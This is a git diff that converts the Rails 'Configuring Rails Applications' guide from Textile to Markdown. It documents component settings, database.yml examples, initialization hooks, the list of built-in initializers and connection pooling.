+* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`.
+
+### Configuring Action Controller
+
+`config.action_controller` includes a number of configuration settings:
+
+* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* `config.action_controller.asset_path` takes a block which configures where assets can be found. Shorter version of `config.action_controller.asset_path`.
+
+* `config.action_controller.page_cache_directory` should be the document root for the web server and is set using `Base.page_cache_directory = "/document/root"`. For Rails, this directory has already been set to `Rails.public_path` (which is usually set to `Rails.root ` "/public"`). Changing this setting can be useful to avoid naming conflicts with files in `public/`, but doing so will likely require configuring your web server to look in the new location for cached files.
+
+* `config.action_controller.page_cache_extension` configures the extension used for cached pages saved to `page_cache_directory`. Defaults to `.html`.
+
+* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production.
+
+* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8".
+
+* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging.
+
+* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default.
+
+* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
+
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+
+The caching code adds two additional settings:
+
+* `ActionController::Base.page_cache_directory` sets the directory where Rails will create cached pages for your web server. The default is `Rails.public_path` (which is usually set to `Rails.root + "/public"`).
+
+* `ActionController::Base.page_cache_extension` sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is `.html`.
+
+### Configuring Action Dispatch
+
+* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
+
+* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+ ```ruby
+ config.action_dispatch.default_headers = {
+ 'X-Frame-Options' => 'SAMEORIGIN',
+ 'X-XSS-Protection' => '1; mode=block',
+ 'X-Content-Type-Options' => 'nosniff'
+ }
+ ```
+
+* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+
+* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
+
+* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
+
+* `ActionDispatch::Callbacks.after` takes a block of code to run after the request.
+
+### Configuring Action View
+
+`config.action_view` includes a small number of configuration settings:
+
+* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is
+
+ ```ruby
+ Proc.new do |html_tag, instance|
+ %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
+ end
+ ```
+
+* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`
+
+* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
+
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
+
+* `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
+
+ ```ruby
+ config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
+ ```
+
+ However, you may add to this by defining others:
+
+ ```ruby
+ config.action_view.javascript_expansions[:prototype] = [
+ 'prototype', 'effects', 'dragdrop', 'controls'
+ ]
+ ```
+
+ And can reference in the view with the following code:
+
+ ```ruby
+ <%= javascript_include_tag :prototype %>
+ ```
+
+* `config.action_view.stylesheet_expansions` works in much the same way as `javascript_expansions`, but has no default key. Keys defined for this hash can be referenced in the view like such:
+
+ ```ruby
+ <%= stylesheet_link_tag :special %>
+ ```
+
+* `config.action_view.cache_asset_ids` With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
+
+* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true`
+
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+
+ ```erb
+ <%= render @post %>
+ ```
+
+ The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+
+### Configuring Action Mailer
+
+There are a number of settings available on `config.action_mailer`:
+
+* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
+
+* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+ * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
+ * `:domain` - If you need to specify a HELO domain, you can do it here.
+ * `:user_name` - If your mail server requires authentication, set the username in this setting.
+ * `:password` - If your mail server requires authentication, set the password in this setting.
+ * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
+
+* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
+ * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
+ * `:arguments` - The command line arguments. Defaults to `-i -t`.
+
+* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
+
+* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+
+* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
+
+* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+
+ ```ruby
+ :mime_version => "1.0",
+ :charset => "UTF-8",
+ :content_type => "text/plain",
+ :parts_order => [ "text/plain", "text/enriched", "text/html" ]
+ ```
+
+* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
+
+ ```ruby
+ config.action_mailer.observers = ["MailObserver"]
+ ```
+
+* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
+
+ ```ruby
+ config.action_mailer.interceptors = ["MailInterceptor"]
+ ```
+
+* `config.action_mailer.queue` registers the queue that will be used to deliver the mail.
+```ruby
+config.action_mailer.queue = SomeQueue.new
+```
+
+### Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+
+* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
+
+* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
+
+* `ActiveSupport::BufferedLogger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
+
+* `ActiveSupport::Deprecation.behavior` alternative setter to `config.active_support.deprecation` which configures the behavior of deprecation warnings for Rails.
+
+* `ActiveSupport::Deprecation.silence` takes a block in which all deprecation warnings are silenced.
+
+* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+
+### Configuring a Database
+
+Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+
+* The `development` environment is used on your development/local computer as you interact manually with the application.
+* The `test` environment is used when running automated tests.
+* The `production` environment is used when you deploy your application for the world to use.
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+
+#### Configuring an SQLite3 Database
+
+Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
+
+```yaml
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+#### Configuring a MySQL Database
+
+If you choose to use MySQL instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: mysql2
+ encoding: utf8
+ database: blog_development
+ pool: 5
+ username: root
+ password:
+ socket: /tmp/mysql.sock
+```
+
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+
+#### Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
+
+```yaml
+development:
+ adapter: postgresql
+ encoding: unicode
+ database: blog_development
+ pool: 5
+ username: blog
+ password:
+```
+
+Prepared Statements can be disabled thus:
+
+```yaml
+production:
+ adapter: postgresql
+ prepared_statements: false
+```
+
+#### Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcsqlite3
+ database: db/development.sqlite3
+```
+
+#### Configuring a MySQL Database for JRuby Platform
+
+If you choose to use MySQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcmysql
+ database: blog_development
+ username: root
+ password:
+```
+
+#### Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcpostgresql
+ encoding: unicode
+ database: blog_development
+ username: blog
+ password:
+```
+
+Change the username and password in the `development` section as appropriate.
+
+Rails Environment Settings
+--------------------------
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* `ENV["RAILS_ASSET_ID"]` will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
+* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+Using Initializer Files
+-----------------------
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+
+Initialization events
+---------------------
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+
+* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
+
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behaviour for the `production` environment and not for the `development` environment.
+
+* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+
+To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
+
+```ruby
+module YourApp
+ class Application < Rails::Application
+ config.before_initialize do
+ # initialization code goes here
+ end
+ end
+end
+```
+
+Alternatively, you can also do it through the `config` method on the `Rails.application` object:
+
+```ruby
+Rails.application.config.before_initialize do
+ # initialization code goes here
+end
+```
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the `after_initialize` block is called.
+
+### `Rails::Railtie#initializer`
+
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:
+
+```ruby
+initializer "active_support.initialize_whiny_nils" do |app|
+ require 'active_support/whiny_nil' if app.config.whiny_nils
+end
+```
+
+The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
+
+Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.
+
+### Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
+
+* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+
+* `initialize_logger` Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+
+* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
+
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer -- which runs only if `cache_classes` is set to `false` -- uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+
+* `bootstrap_hook` Runs all configured `before_initialize` blocks.
+
+* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
+
+ ```
+ Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
+ ```
+
+ And:
+
+ ```
+ You have a nil object when you didn't expect it!
+ You might have expected an instance of Array.
+ The error occurred while evaluating nil.each
+ ```
+
+* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+
+* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
+
+* `active_support.initialize_beginning_of_week` Sets the default beginnig of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+
+* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
+
+* `action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too.
+
+* `action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views.
+
+* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
+
+* `action_controller.logger` Sets `ActionController::Base.logger` -- if it's not already set -- to `Rails.logger`.
+
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` -- if it's not already set -- to `Rails.cache`.
+
+* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
+
+* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
+
+* `active_record.logger` Sets `ActiveRecord::Base.logger` -- if it's not already set -- to `Rails.logger`.
+
+* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
+
+* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
+
+* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` -- if it's not already set -- to `Rails.logger`.
+
+* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
+
+* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
+
+* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
+
+* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
+
+* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+
+* `load_environment_config` Loads the `config/environments` file for the current environment.
+
+* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
+
+* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+
+* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+
+* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
+
+* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
+
+* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
+
+* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
+
+* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
+
+* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+
+* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+
+* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true.
+
+Database pooling
+----------------
+
+Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+
+```ruby
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
+
+NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/configuring.textile b/guides/source/configuring.textile
deleted file mode 100644
index c29b70ad5b..0000000000
--- a/guides/source/configuring.textile
+++ /dev/null
@@ -1,779 +0,0 @@
-h2. Configuring Rails Applications
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-endprologue.
-
-h3. Locations for Initialization Code
-
-Rails offers four standard spots to place initialization code:
-
-* +config/application.rb+
-* Environment-specific configuration files
-* Initializers
-* After-initializers
-
-h3. Running Code Before Rails
-
-In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to +require 'rails/all'+ in +config/application.rb+.
-
-h3. Configuring Rails Components
-
-In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file +config/application.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components.
-
-For example, the default +config/application.rb+ file includes this setting:
-
-<ruby>
-config.filter_parameters += [:password]
-</ruby>
-
-This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object in +config/application.rb+:
-
-<ruby>
-config.active_record.observers = [:hotel_observer, :review_observer]
-</ruby>
-
-Rails will use that particular setting to configure Active Record.
-
-h4. Rails General Configuration
-
-These configuration methods are to be called on a +Rails::Railtie+ object, such as a subclass of +Rails::Engine+ or +Rails::Application+.
-
-* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
-
-<ruby>
-config.after_initialize do
- ActionView::Base.sanitized_allowed_tags.delete 'div'
-end
-</ruby>
-
-* +config.allow_concurrency+ should be true to allow concurrent (threadsafe) action processing. False by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Can also be enabled with +threadsafe!+.
-
-* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+.
-
-* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+.
-
-<ruby>
-config.asset_path = proc { |path| "/blog/public#{path}" }
-</ruby>
-
-NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default.
-
-* +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array.
-
-* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+.
-
-* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+.
-
-* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+.
-
-* +config.cache_store+ configures which cache store to use for Rails caching. Options include one of the symbols +:memory_store+, +:file_store+, +:mem_cache_store+, +:null_store+, or an object that implements the cache API. Defaults to +:file_store+ if the directory +tmp/cache+ exists, and to +:memory_store+ otherwise.
-
-* +config.colorize_logging+ specifies whether or not to use ANSI color codes when logging information. Defaults to true.
-
-* +config.consider_all_requests_local+ is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the +Rails::Info+ controller will show the application runtime context in +/rails/info/properties+. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement +local_request?+ in controllers to specify which requests should provide debugging information on errors.
-
-* +config.console+ allows you to set class that will be used as console you run +rails console+. It's best to run it in +console+ block:
-
-<ruby>
-console do
- # this block is called only when running console,
- # so we can safely require pry here
- require "pry"
- config.console = Pry
-end
-</ruby>
-
-* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+.
-
-* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the +app+ directory of the application.
-
-* +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8.
-
-* +config.exceptions_app+ sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to +ActionDispatch::PublicExceptions.new(Rails.public_path)+.
-
-* +config.file_watcher+ the class used to detect file updates in the filesystem when +config.reload_classes_only_on_change+ is true. Must conform to +ActiveSupport::FileUpdateChecker+ API.
-
-* +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
-
-* +config.force_ssl+ forces all requests to be under HTTPS protocol by using +ActionDispatch::SSL+ middleware.
-
-* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+.
-
-* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
-
-* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode.
-
-* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
-
-* +config.preload_frameworks+ enables or disables preloading all frameworks at startup. Enabled by +config.threadsafe!+. Defaults to +nil+, so is disabled.
-
-* +config.queue+ configures a different queue implementation for the application. Defaults to +Rails::Queueing::Queue+. Note that, if the default queue is changed, the default +queue_consumer+ is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s).
-
-* +config.queue_consumer+ configures a different consumer implementation for the default queue. Defaults to +Rails::Queueing::ThreadedConsumer+.
-
-* +config.reload_classes_only_on_change+ enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If +config.cache_classes+ is true, this option is ignored.
-
-* +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+.
-
-* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
-
-* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
-
-<ruby>
-config.session_store :my_custom_store
-</ruby>
-
-This custom store must be defined as +ActionDispatch::Session::MyCustomStore+. In addition to symbols, they can also be objects implementing a certain API, like +ActiveRecord::SessionStore+, in which case no special namespace is required.
-
-* +config.threadsafe!+ enables +allow_concurrency+, +cache_classes+, +dependency_loading+ and +preload_frameworks+ to make the application threadsafe.
-
-WARNING: Threadsafe operation is incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+.
-
-* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
-
-* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments.
-
-h4. Configuring Assets
-
-Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
-
